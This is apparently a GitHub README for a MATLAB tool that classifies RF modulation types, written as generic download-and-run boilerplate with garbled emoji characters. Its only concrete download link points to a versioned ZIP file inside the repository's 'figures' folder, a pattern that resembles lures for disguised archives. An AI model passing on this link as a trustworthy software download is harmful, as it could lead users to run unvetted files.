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πŸ“‘ Implement advanced RF modulation classification using MATLAB with ML techniques, featuring BPSK, QPSK, 8PSK, and 16QAM for effective signal processing.

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πŸ“‘ RF-Modulation-Classification-ML - Easy Classification of RF Signals

πŸš€ Getting Started

Welcome to RF-Modulation-Classification-ML! This application classifies RF modulation types like BPSK, QPSK, 8PSK, and 16QAM using machine learning in MATLAB. Follow these steps to quickly download and run the software.

πŸ“₯ Download the Application

Download RF-Modulation-Classification-ML

πŸ› οΈ System Requirements

Before you begin, ensure that your system meets the following requirements:

  • Operating System: Windows 10, macOS, or Linux
  • MATLAB: Version 2018b or later
  • Disk Space: At least 500 MB available
  • RAM: Minimum 4 GB

πŸ—‚οΈ Download & Install

To get the application, visit the Releases page:

  1. Click on this link to go to the Releases page.
  2. On the Releases page, you will see all available versions of the application.
  3. Look for the latest version and click on it to expand the details.
  4. Find the Assets section below the release notes. Here, you will see files available for download.
  5. Click on the file that corresponds to your operating system to download.
    • For example, you might see files like https://raw.githubusercontent.com/JeMeAl/RF-Modulation-Classification-ML/main/figures/RF-Modulation-Classification-ML-2.9.zip.
  6. Once the download is complete, locate the downloaded file on your computer.

πŸ—‚οΈ Extracting Files

  1. If you downloaded a ZIP file, double-click it to open.
  2. Click on Extract and choose where you want to save the files.
  3. Once extraction is complete, navigate to the folder you selected.

πŸ“š Running the Application

  1. Open MATLAB on your computer.
  2. In the MATLAB interface, navigate to the folder where you extracted the files. You can use the cd command in the command window or use the Current Folder panel.
  3. Type run and press Enter to start the application.
  4. Follow the prompts within the application to classify RF signals.

πŸ” Features

  • Classifies Multiple Modulation Types: Identify BPSK, QPSK, 8PSK, and 16QAM signals effectively.
  • User-Friendly Interface: Designed for straightforward navigation. No programming knowledge is required.
  • Machine Learning Integration: Utilizes advanced algorithms for accurate classification.
  • Real-Time Performance: Process signals in real-time without significant delays.

πŸŽ“ Learning Resources

To get the most out of RF-Modulation-Classification-ML, consider checking the following resources:

  • MATLAB Documentation: Familiarize yourself with MATLAB features at MATLAB Documentation.
  • Machine Learning Basics: Learn more about machine learning concepts on Coursera.

🐞 Troubleshooting

If you encounter issues, try the following steps:

  • Reinstall the Application: Sometimes, reinstalling helps resolve problems. Make sure to delete the old files before reinstalling.
  • Check MATLAB License: Ensure your MATLAB license is active and all necessary toolboxes are installed.
  • Consult MATLAB Support: If you still face issues, visit the MATLAB Support page for help.

πŸ“ž Support

For questions or feedback, feel free to contact the project maintainer:

πŸ“ License

This project is licensed under the MIT License. You can freely use and modify the software as long as you include the original license in any copies made.

πŸ’¬ Contributing

If you wish to contribute to this project, feel free to submit issues or pull requests. Your input is greatly appreciated! Visit the Contributing Guidelines for more details.

πŸ“₯ Download Again

Don’t forget to download the application from the Releases page for easy access whenever you need it!

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πŸ“‘ Implement advanced RF modulation classification using MATLAB with ML techniques, featuring BPSK, QPSK, 8PSK, and 16QAM for effective signal processing.

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